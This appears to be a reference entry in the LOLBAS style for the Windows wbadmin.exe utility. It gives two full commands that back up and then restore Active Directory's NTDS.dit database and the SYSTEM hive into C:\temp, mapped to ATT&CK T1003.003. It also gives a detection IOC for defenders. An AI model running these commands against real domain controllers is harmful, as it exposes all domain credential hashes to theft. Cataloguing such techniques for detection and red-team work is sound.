.. /wbadmin.exe

Dump

Windows Backup Administration utility

Paths:
C:\Windows\System32\wbadmin.exe

Resources:
- https://medium.com/r3d-buck3t/windows-privesc-with-sebackupprivilege-65d2cd1eb960

Detections:
- IOC: wbadmin.exe command lines containing "NTDS" or "NTDS.dit"

Dump

. Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx)

```
wbadmin start backup -backupTarget:C:\temp\ -
include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet
```

Use case: Snapshoting of Active Directory NTDS.dit database
Privileges required: Administrator, Backup Operators, SeBackupPrivilege
Operating systems: Windows Server
ATT&CK® technique: T1003.003

. Restore a version of NTDS.dit and SYSTEM hive into file path. The command `wbadmin get versions` can be used to find version identifiers.

```
wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:C:\temp -itemtype:file -
items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quiet
```

Use case: Dumping of Active Directory NTDS.dit database
Privileges required: Administrator, Backup Operators, SeBackupPrivilege
Operating systems: Windows Server
ATT&CK® technique: T1003.003